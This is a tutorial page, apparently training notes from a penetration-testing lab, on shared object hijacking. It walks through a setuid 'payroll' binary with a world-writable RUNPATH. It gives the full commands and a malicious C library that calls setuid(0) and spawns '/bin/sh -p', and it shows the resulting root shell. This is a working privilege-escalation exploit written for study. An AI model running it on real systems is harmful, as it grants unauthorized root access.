# Shared Object Hijacking

### Sample Scenario

1. Assuming we have this binary that has a setuid

   ```shell-session
   $ ls -la payroll
   ```
2. Using `ldd` we can see the non-standard library `libshared.so`

   ```shell-session
   $ ldd payroll

   linux-vdso.so.1 =>  (0x00007ffcb3133000)
   libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000)
   libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
   /lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)
   ```
3. &#x20;As stated earlier, it is possible to load shared libraries from custom locations. One such setting is the `RUNPATH` configuration. Libraries in this folder are given preference over other folders. This can be inspected using the [readelf](https://man7.org/linux/man-pages/man1/readelf.1.html) utility.

   ```shell-session
   $ readelf -d payroll  | grep PATH

    0x000000000000001d (RUNPATH)            Library runpath: [/development]
   ```
4. As we can see, /development is writable by anyone

   ```shell-session
   $ ls -la /development/

   total 8
   drwxrwxrwx  2 root root 4096 Sep  1 22:06 ./
   drwxr-xr-x 23 root root 4096 Sep  1 21:26 ../
   ```
5. This misconfiguration can be exploited by placing a malicious library in `/development`, which will take precedence over other folders because entries in this file are checked first (before other folders present in the configuration files).
6. Before compiling a library, we need to find the function name called by the binary.
   1. Copy the `libshared.so` to the `/development`

      ```shell-session
      $ cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
      ```
   2. We can see that libshared.so is retrieved in /development/libshared.so so that means putting libraries in /development will work with the exploit.

      <figure><img src="https://3782755820-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxiHgPDbj4maVZuaNWLtn%2Fuploads%2FK1qm3hJjzzpUkAj7hsiY%2Fimage.png?alt=media&#x26;token=054eb8b7-98a4-4fa6-9498-fb926ef958bf" alt=""><figcaption></figcaption></figure>
   3. Running the `payroll` again reveals the function name

      ```shell-session
      $ ./payroll 

      ./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery
      ```
7. Create a src.c file with the function name as the main funtion

   ```c
   #include<stdio.h>
   #include<stdlib.h>

   void dbquery() {
       printf("Malicious library loaded\n");
       setuid(0);
       system("/bin/sh -p");
   } 
   ```
8. Compile the code

   ```shell-session
   $ gcc src.c -fPIC -shared -o /development/libshared.so
   ```
9. Run the binary again

   ```shell-session
   $ ./payroll 

   ***************Inlane Freight Employee Database***************

   Malicious library loaded
   # id
   uid=0(root) gid=1000(mrb3n) groups=1000(mrb3n)
   ```

   ###
